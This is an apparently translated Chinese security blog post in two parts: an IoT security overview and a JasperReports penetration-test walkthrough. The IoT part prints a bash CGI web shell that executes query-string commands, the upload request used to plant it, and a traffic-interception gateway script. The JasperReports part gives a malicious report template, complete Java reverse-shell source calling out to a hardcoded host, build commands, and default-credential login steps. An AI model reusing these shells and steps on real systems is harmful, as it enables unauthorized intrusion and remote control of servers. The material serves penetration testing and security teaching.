  • RF433

protocol.png

每个协议都有其优缺点,也有很多的限制。当谈到选择哪种协议时,最大的问题是兼容性。下面的表格显示了协议之间的快速对照:

20161115002526.png

主要的驱动程序使用特定的协议。例如rf433已经大范围使用,但不具有网状网络和默认的安全机制。这意味着,如果你如果想要安全性,你就不得不拿出自己的协议,这意味着你的用户将使用现成的传感器或设备。ZigBee和Zwave在很大程度上都是一样的。他俩之间的主要区别是在设备的通信范围。

你可以从ZigBee安全技术白皮书中了解更多,这里也有一份相关文档

威胁矢量

任何安全评估你都需要了解你的敌人是谁,他们会如何攻击系统并滥用使用它们。当我做威胁引导的时候我认为设备包含在环境中的信息,这些驱动器都在什么地方,都有可能构成什么样风险。一个物联网设备被黑可能是被用来针对物联网环境或仅仅是变成一个僵尸网被用来攻击外部网络(或两者的组合)。你应该评估什么可以影响执行器,以及如何确定传感器的值可能会影响环境。要做到这一点,你必须很了解物联网生态系统的工作方式,什么类型的设备可能会被使用,以及影响可能会如何扩大。

2340.png

物联网中常见的漏洞

  • 未经身份验证的更新机制
  • SQL / JSON注入
  • 设计逻辑
  • 过于信任

未经身份验证的更新机制

更新软件包有很多不同的方法。有些人用在Linux系统中传统的软件包管理器,使用较少的传统手段,如可执行程序,可运行于同一网络上的计算机,来从云环境倒推更新。这些更新的机制最大的问题是,他们不使用安全的手段来提供软件包。例如使用单一的可执行文件的机制,访问一个隐藏的API用于在网关替换文件。你需要做的是上传CGI文件替换现有文件。在这种特定的情况下的网关是bash的CGI运行,所以就上传了自己的shell:

#!/bin/sh
 
echo -e "Content-type: text/html\r\n\r\n"
 
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g')
$test2

请求:

POST http://192.168.1.98:8181/fileupload.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=------7cf2a327f01ae
User-Agent: REDACTED
Host: 192.168.1.98:8181
Content-length: 482
Pragma: no-cache
 
--------7cf2a327f01ae
Content-Disposition: form-data; name="auth"
 
11366899
--------7cf2a327f01ae
Content-Disposition: form-data; name="type"
 
w
--------7cf2a327f01ae
Content-Disposition: form-data; name="file"; filename="C:\REDACTED CONFIGURATOR\output\login.cgi"
#!/bin/sh
 
echo -e "Content-type: text/html\r\n\r\n"
 
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g')
$test2
--------7cf2a327f01ae

你应该能猜出接下来会发生什么:

codeexec.png

SQL/NoSQL injection

SQL注入已经是一个存在很长时间的漏洞,当然注入漏洞的产生是因为程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些sql语句正常执行。 我们可以看到很多的解决方案,很多开发商并不认为这是NoSQL数据库的问题或只是不知道这是一个问题。在这里,我的建议是一定要做适当的输入验证和过滤。这里没有案例分析,但可以看看这篇文章 websecurify.

设计逻辑和过于信任

由于没有可用的参考架构,我们看到过很多的架构,虽然框架能使事情变得更容易,但它可能存在很大的风险威胁,一个单一的组件可能被破坏。此外,我们看到开发商认为通信中传统用户输入是不会造成威胁的。在一个这样的实例中,我们注意到,当拦截网关和云之间的通信时,没有从网关标识符(我们可以很容易地枚举)的身份验证。这导致了我们可以注入获取其他用户的信息。其他一些实例包括:

  • 移动应用程序直接登录到数据库(所有设备使用相同的密码)
  • 本地网络通信不加密
  • 消息没有签名或进行加密
  • 易暴力枚举或不可撤销信息(如出生和名称为准)的使用作为API密钥来识别用户的网关
  • 通过默默无闻的安全性
  • 内部开发的加密算法

我在这里的建议:

  • 接收端的信息适当编码处理恶意信息,这意味着客户机不应当为服务器和客户机提供明文信息。一般使用审核和验证框架。
  • 如果设备在网络中托管,不要指望任何输入是值得信赖。
  • 在所有通信中使用合适的加密(https)如果证书是无效的则不开放
  • API密钥相当普遍,以确定一个特定的网关。因为该标识符的服务器作为认证令牌,则需要确保该识别符是使用密码安全RNG随机生成的。一般建议使用128位(32个字符)。
  • 即使是最知名的密码学家也不能保证自己算法的百分百安全。

很多时候用户希望使用自己的手机在家里远程控制他们的服务。例如打开空调或打开门。这就会引发一个问题,你的网关通常位于路由器后面,而不是直接从Internet访问。有些解决方案不需要使用端口转发,但这还需要一个动态的DNS解决方案,需要用户配置。

一般公司做的是移动应用程序将指令发送到云端,然后网关从云端获取指令。

encrypt.png

结论

人们总想着把任何东西都交给互联网,但往往会发生严重的安全错误。大多数错误是由于安全目标不明确,缺乏经验和意识。我们必须采取安全的物联网策略,而不是期望他们来给我们安全。

一些物联网安全的解决方案参考:

最后分享个脚本,通过代理做一个从物联网网关到互联网的拦截。可以用于安全测试:

#!/bin/sh
echo "Interface with internet connectivity: "
read iInf
echo "Secondary interface with rogue device: "
read wInf
echo "Stopping network manager ..."
service network-manager stop
echo "Stopping dnsmasq ..."
service dnsmasq stop
echo "Bringing down wireless interface ..."
ifconfig $wInf down
echo "Configuring wireless interface ..."
ifconfig $wInf 192.168.1.1 netmask 255.255.255.0
echo "Starting dnsmasq as DHCP server ..."
dnsmasq --no-hosts --interface $wInf --except-interface=lo --listen-address=192.168.1.1 --dhcp-range=192.168.1.50,192.168.1.60,60m --dhcp-option=option:router,192.168.1.1 --dhcp-lease-max=25 --pid-file=/var/run/nm-dnsmasq-wlan.pid
echo "Stopping firewall and allowing everyone ..."
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
echo "Enabling NAT ..."
iptables -t nat -A POSTROUTING -o $iInf -j MASQUERADE
echo "Enabling IP forwarding ..."
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "Gateway setup is complete"
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 443 -j REDIRECT --to-port 8080

Hacking JasperReports:隐藏的SHELL特征

前言

不久前,我的同事跟我在对一个客户端进行渗透测试。我们确实发现的一件事是,他们留下了几个联网JasperReports服务器。寻找默认管理帐户的用户名并没有花费太多的精力。

login.png

也没有用多久我们就猜解出密码是“jasperadmin”

我从前听过JasperReports但从来没有碰到过要对它进行渗透测试。一个快速的google搜索也没有对前期工作产生多大的作用。尽管这个管理界面很不常见但是它也没有摆脱以某种方式来执行代码,所以顺利成章的我们开始在渗透旅程中把JasperReports渗透测试添加进“容易成功”的列表。

代码和小脚本

JasperReports的目的是提取数据从各种各样的来源,例如:databases, xml, flat files等等,并且基于用户定义的模板用某种方式生成一份漂亮的报告。模板在JasperReports被定义为“JRXML”文件,任何拥有创建编辑报告权限的用户都可以上传它。

JasperReports的设计者允许数据在被包含在报告之前自定义操作。接下来就是利用一些小技巧用Java来编写一段脚本!我想也许你会看到这个。

我们的目标呢,就是创建一个报告模板(JRXML file)当然是依旧定制的恶意脚本,当它运行时,我们可以收到一个shell。这篇文章的其余部分将会详细描述我们是如何将脚本和报告模板联系到一起的。

编辑模板

我们仅仅编辑一个存在的模板而不是创建一个。以下是我们将使用的模板。注意一下,过于复杂以及其中的90%是完全不必要的。下面这个只是一个带有“JasperStudio”的简单样本报告。35–42行是有趣的一个部分,我在这个部分插入了“ShellScriptlet”。

shell.jrxml

<?xml version="1.0" encoding="UTF-8"?>
<!-- Created with Jaspersoft Studio version 6.0.1.final using JasperReports Library version 6.0.0 -->
<!-- 2016-10-04T14:01:12 -->
<jasperReport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name="AllAccounts" pageWidth="595" pageHeight="842" whenNoDataType="AllSectionsNoDetail" columnWidth="515" leftMargin="40" rightMargin="40" topMargin="50" bottomMargin="50" isSummaryWithPageHeaderAndFooter="true" uuid="17f4b3c5-e096-4a65-b030-ed3bb58ce311">
<property name="net.sf.jasperreports.export.pdf.tag.language" value="EN-US"/>
<style name="Sans_Normal" isDefault="true" fontName="DejaVu Sans" fontSize="12"/>
<style name="Sans_Bold" fontName="DejaVu Sans" fontSize="12" isBold="true"/>
<style name="Sans_Italic" fontName="DejaVu Sans" fontSize="12" isItalic="true"/>
<style name="PageHeader" style="Sans_Bold" forecolor="#FFFFFF" backcolor="#333333"/>
<style name="detail" fontName="DejaVu Sans" fontSize="12">
<conditionalStyle>
<conditionExpression><![CDATA[new Boolean($V{CityGroup_COUNT}.intValue() % 2 == 0)]]></conditionExpression>
<style mode="Opaque" backcolor="#E0E0E0"/>
</conditionalStyle>
</style>
<subDataset name="Table Dataset 1" uuid="4fcc1d09-9859-48ee-bb6f-8d369bd49113">
<queryString>
<![CDATA[SELECT name, phone_office, billing_address_city, billing_address_street, billing_address_country FROM accounts ORDER BY billing_address_country, billing_address_city]]>
</queryString>
<field name="name" class="java.lang.String"/>
<field name="phone_office" class="java.lang.String"/>
<field name="billing_address_city" class="java.lang.String"/>
<field name="billing_address_street" class="java.lang.String"/>
<field name="billing_address_country" class="java.lang.String"/>
<sortField name="billing_address_country"/>
<sortField name="billing_address_city"/>
<variable name="CityyNumber" class="java.lang.Integer" incrementType="Group" incrementGroup="CityGroup" calculation="Count">
<variableExpression><![CDATA[Boolean.TRUE]]></variableExpression>
<initialValueExpression><![CDATA[new Integer(0)]]></initialValueExpression>
</variable>
<group name="CityGroup">
<groupExpression><![CDATA[$F{billing_address_city}]]></groupExpression>
</group>
</subDataset>
<scriptlet name="ShellScriptlet" class="foxglove.shell.ShellScriptlet">
<scriptletDescription><![CDATA[]]></scriptletDescription>
</scriptlet>
<title>
<band height="79" splitType="Stretch">
<textField>
<reportElement x="227" y="20" width="100" height="30" uuid="32a2a8ff-d90a-48d7-b044-5325b5c6264f"/>
<textFieldExpression><![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]></textFieldExpression>
</textField>
</band>
</title>
<pageFooter>
<band height="40">
    <line>
<reportElement x="0" y="10" width="515" height="1" uuid="19826638-0487-4bb5-9b15-7e7af63b8dce">
<property name="net.sf.jasperreports.export.pdf.tag.table" value="end"/>
</reportElement>
</line>
<textField isStretchWithOverflow="true">
<reportElement x="200" y="20" width="80" height="16" uuid="6f072af1-756c-49f4-82f3-af59e8124296"/>
<textElement textAlignment="Right"/>
<textFieldExpression><![CDATA["Page " + String.valueOf($V{PAGE_NUMBER}) + " of"]]></textFieldExpression>
</textField>
<textField isStretchWithOverflow="true" evaluationTime="Report">
<reportElement x="280" y="20" width="75" height="16" uuid="02b15e9e-d360-4b82-a140-54b9bd3b0e81"/>
<textElement textAlignment="Left"/>
<textFieldExpression><![CDATA[" " + String.valueOf($V{PAGE_NUMBER})]]></textFieldExpression>
</textField>
</band>
</pageFooter>
<summary>
<band height="149" splitType="Stretch">
<image scaleImage="Clip" hAlign="Right" vAlign="Middle" onErrorType="Icon">
<reportElement positionType="Float" x="0" y="71" width="250" height="70" uuid="aa8a8976-039f-45ac-84f3-d8d55b442410"/>
<imageExpression><![CDATA["repo:LogoLink"]]></imageExpression>
<hyperlinkTooltipExpression><![CDATA["JasperReports Logo"]]></hyperlinkTooltipExpression>
</image>
<image scaleImage="Clip" hAlign="Right" vAlign="Middle" onErrorType="Icon">
<reportElement positionType="Float" x="265" y="71" width="250" height="70" uuid="4b5dd0d1-9011-42cf-ab07-f80c02d3d166"/>
<imageExpression><![CDATA["repo:AllAccounts_Res2"]]></imageExpression>
<hyperlinkTooltipExpression><![CDATA["Jaspersoft Logo"]]></hyperlinkTooltipExpression>
</image>
<componentElement>
<reportElement key="table" x="0" y="0" width="515" height="70" uuid="db3dd84a-3743-43b3-ab7e-c4aebdb907df"/>
<jr:table xmlns:jr="http://jasperreports.sourceforge.net/jasperreports/components" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports/components http://jasperreports.sourceforge.net/xsd/components.xsd" whenNoDataType="AllSectionsNoDetail">
<datasetRun subDataset="Table Dataset 1" uuid="3b2a079f-f600-46a6-a7af-720c4e939e7e">
<connectionExpression><![CDATA[$P{REPORT_CONNECTION}]]></connectionExpression>
</datasetRun>
<jr:columnGroup width="515" uuid="1e5d630a-c8f9-4dbb-8415-393f7624ca35">
<jr:groupHeader groupName="CityGroup">
<jr:cell height="30" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="Sans_Bold" positionType="Float" mode="Opaque" x="0" y="14" width="515" height="16" isPrintWhenDetailOverflows="true" backcolor="#C0C0C0" uuid="aeafecc2-ef7e-435c-ae07-1f45ed6b179a"/>
<box leftPadding="0" bottomPadding="0" rightPadding="0">
<bottomPen lineWidth="1.0" lineStyle="Solid"/>
</box>
<textElement textAlignment="Left"/>
<textFieldExpression><![CDATA[" " + String.valueOf($V{CityyNumber}.intValue() + 1) + ". " + $F{billing_address_city}+ ", " + $F{billing_address_country}]]></textFieldExpression>
<anchorNameExpression><![CDATA[String.valueOf($F{billing_address_city})]]></anchorNameExpression>
</textField>
</jr:cell>
</jr:groupHeader>
<jr:column width="30" uuid="43ffff20-e89f-4f73-ad8d-878e9581274a">
<jr:columnHeader height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="30" height="16" isPrintWhenDetailOverflows="true" uuid="a76dcb9c-8601-48bc-b9cc-3d1c316e537d">
<property name="net.sf.jasperreports.export.pdf.tag.th" value="full"/>
<property name="net.sf.jasperreports.export.pdf.tag.colspan" value="1"/>
</reportElement>
<textFieldExpression><![CDATA[" "]]></textFieldExpression>
</textField>
</jr:columnHeader>
<jr:detailCell height="20" rowSpan="1">
<textField>
<reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="30" height="20" isPrintWhenDetailOverflows="true" uuid="73a40f28-2c08-4849-a2a9-b83ade7a6b7d">
<property name="net.sf.jasperreports.export.pdf.tag.td" value="full"/>
</reportElement>
<box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="10">
<bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/>
</box>
<textElement textAlignment="Right"/>
<textFieldExpression><![CDATA[$V{CityGroup_COUNT}+"."]]></textFieldExpression>
</textField>
</jr:detailCell>
</jr:column>
<jr:column width="240" uuid="d472eeed-282a-402b-9044-a397ca270655">
<jr:columnHeader height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="240" height="16" isPrintWhenDetailOverflows="true" uuid="bd0d4582-5684-4e15-8623-b3f1940bf1bb">
<property name="net.sf.jasperreports.export.pdf.tag.th" value="full"/>
<property name="net.sf.jasperreports.export.pdf.tag.colspan" value="2"/>
</reportElement>
<box leftPadding="0" bottomPadding="0" rightPadding="0"/>
<textFieldExpression><![CDATA["Name"]]></textFieldExpression>
</textField>
</jr:columnHeader>
<jr:detailCell style="detail" height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="240" height="20" isPrintWhenDetailOverflows="true" uuid="23562605-5611-41d8-8a40-98ad9d28834a">
<property name="net.sf.jasperreports.export.pdf.tag.td" value="full"/>
</reportElement>
<box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="5">
<bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/>
</box>
<textFieldExpression><![CDATA[$F{name}]]></textFieldExpression>
</textField>
</jr:detailCell>
</jr:column>
<jr:column width="100" uuid="4612e5a3-cb0d-4533-9b54-9ad9828acbed">
<jr:columnHeader height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="100" height="16" isPrintWhenDetailOverflows="true" uuid="d81f1db2-9f2e-4665-aa47-3d1a49cc9d15">
<property name="net.sf.jasperreports.export.pdf.tag.th" value="full"/>
</reportElement>
<box leftPadding="10" bottomPadding="0" rightPadding="0"/>
<textFieldExpression><![CDATA["Phone"]]></textFieldExpression>
</textField>
</jr:columnHeader>
<jr:detailCell height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="100" height="20" isPrintWhenDetailOverflows="true" uuid="e48d7dee-a092-45ea-8bd8-8440f76a9fd0">
<property name="net.sf.jasperreports.export.pdf.tag.td" value="full"/>
</reportElement>
<box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="5">
<bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/>
</box>
<textFieldExpression><![CDATA[$F{phone_office}]]></textFieldExpression>
</textField>
</jr:detailCell>
</jr:column>
<jr:column width="145" uuid="f0397b7d-4130-4b13-88b1-d89415b269bd">
<jr:columnHeader height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="145" height="16" isPrintWhenDetailOverflows="true" uuid="0a1206b8-d0d6-4809-a424-3d7f09606b44">
<property name="net.sf.jasperreports.export.pdf.tag.th" value="full"/>
</reportElement>
<box leftPadding="0" bottomPadding="0" rightPadding="0"/>
<textFieldExpression><![CDATA["Address"]]></textFieldExpression>
</textField>
</jr:columnHeader>
<jr:detailCell height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="145" height="20" isPrintWhenDetailOverflows="true" uuid="7bc63c7e-0224-441b-96ec-8a1bb67a0b84">
<property name="net.sf.jasperreports.export.pdf.tag.td" value="full"/>
</reportElement>
<box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="0">
<bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/>
</box>
<textFieldExpression><![CDATA[$F{billing_address_street}]]></textFieldExpression>
</textField>
</jr:detailCell>
</jr:column>
</jr:columnGroup>
</jr:table>
</componentElement>
</band>
</summary>
</jasperReport>

接下来看42行:

<textFieldExpression><![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]></textFieldExpression>

这里我们调用一个getshell的方法在ShellScriptlet_SCRIPTLET。在35行我们定义了一个ShellScriptlet_SCRIPTLET 来引用“foxglove.shell.ShellScriptlet”中的Java代码。

<scriptlet name="ShellScriptlet" class="foxglove.shell.ShellScriptlet">
<scriptletDescription><![CDATA[]]></scriptletDescription>
</scriptlet>

这很简单,但这在Java代码本身是如何定义的呢?

编写攻击脚本

scriptlet用Java编写,需要去扩展“JRDefaultScriptlet”。我从”here”中借用了一些Java代码来反弹shell并且让这种攻击脚本成为跨平台的。下面就是结果了,要注意“host”和“port”的写法是固定的:

package foxglove.shell;
import java.io.*;
import java.net.*;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.DataInputStream;
import net.sf.jasperreports.engine.JRDefaultScriptlet;
import net.sf.jasperreports.engine.JRScriptletException;
 
public class ShellScriptlet extends JRDefaultScriptlet implements Runnable{
   Socket socket;
 
   PrintWriter socketWrite;
   BufferedReader socketRead;
 
   PrintWriter commandWrite;
   BufferedReader commandRead;
 
   static String ip;
   int port = 8080;
 
   public String getShell(){
      ip = "1.1.1.1";
      ShellScriptlet shell = new ShellScriptlet();
      shell.establishConnection();
      new Thread(shell).start();
      shell.getCommand();
      return "DONE";
   }
 
   public void run(){
      spawnShell();
   }
 
   public void spawnShell(){
      boolean windows = false;
      try{
         if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
            windows = true;
         }
 
         Runtime rt = Runtime.getRuntime();
         Process p;
         if(windows) p = rt.exec("C:\\Windows\\System32\\cmd.exe");
         else p = rt.exec("/bin/sh");
 
         InputStream readme = p.getInputStream();
         OutputStream writeme = p.getOutputStream();
         commandWrite = new PrintWriter(writeme);
         commandRead = new BufferedReader(new InputStreamReader(readme));
 
         if(windows) commandWrite.println("dir");
         else commandWrite.println("ls -al");
 
         commandWrite.flush();
 
         String line;
         while((line = commandRead.readLine()) != null){
            socketWrite.println(line);
            socketWrite.flush();
         }
 
         p.destroy();
 
      }catch(Exception e){}
 
   }
 
   public void establishConnection(){
      try{
         socket = new Socket(ip,port);
         socketWrite = new PrintWriter(socket.getOutputStream(),true);
         socketRead = new BufferedReader(new InputStreamReader(socket.getInputStream()));
         socketWrite.println("---Connection has been established---");
         socketWrite.flush();
      }catch(Exception e){}
 
   }
 
   public void getCommand(){
      String foo;
 
      try{
         while((foo=socketRead.readLine())!= null){
            commandWrite.println(foo);
            commandWrite.flush();
         }
      }catch(Exception e){}
   }
 
   public static void main(String args[]){
      ShellScriptlet r = new ShellScriptlet();
      r.getShell();
   }
}

对于那些不熟悉Java的,你可以用下面的命令编译在相同的目录中

/usr/lib/jvm/java-6-openjdk-amd64/bin/javac -Xlint -cp .:jasperreports-5.0.0.jar *.java -d .

这里指定” javac “的完整路径是有原因的(这是Java 1.6)。如果你运行这个命令对某种系统会出错,你需要考虑理想情况下用相同的环境来编译它,至少不是最新的版本!

接下来我们要做的就是把所有的代码打包趁有个jar文件然后上传到目标站点。你可以使用下面这个代码来完成它:

/usr/lib/jvm/java-6-openjdk-amd64/bin/jar cvf shell.jar foxglove/

如果一切进行的顺利,你就会得到个“shell.jar”文件,接下来就准备上传这个到目标站点吧!

部署这个新的“Report”

每个版本的JasperReports似乎都有些不同,但是他们都有相同的函数和工作流。

首先很明显我们要去验证一下“jasperadmin/jasperadmin”:

authd.png

在我这个版本中,这就立即显示出了有一堆reports样例的“Repository”(要确保“Type”这一列说的是“Report”)。

接下来,我们只要右击一个report并且点击“Edit”就好。

一开始,就点击 “Controls and Resources” 之后点击“Add Resource”。上传我们之前创建的JAR文件并给这个资源命名为“ShellScriptlet”。结束之后我们应该可以看到下图这样的结果:

resource.png

点击左侧栏的“Set Up”,单击 “Upload a Local file”把我们之前创建的JRXML文件上传了。你应该可以得到下图所示的结果:

resources2.png

Jasper 现在让我们去定义一些我们在JRXML文件引用的资源。如果你是一个keener你可能会仅仅把这些资源从JRXML文件中删除。仅仅单击“Add Now”并且上传一些随机的PNG图片文件为你每一个引用资源…当你做完这些应该看起来像下图一样:

resourcesadded.png

现在你只需要点击“Submit”在这个按钮来创建我们的恶意report就好了。哈哈

Shellz!

先别激动,在你运行这个report之前,你还要开个监听端口去监听你的shell!!!

listener.png

之后单击你创建的report,它将会运行Java代码,如果没有什么问题,你就可以看到反弹的shell了

shell1.png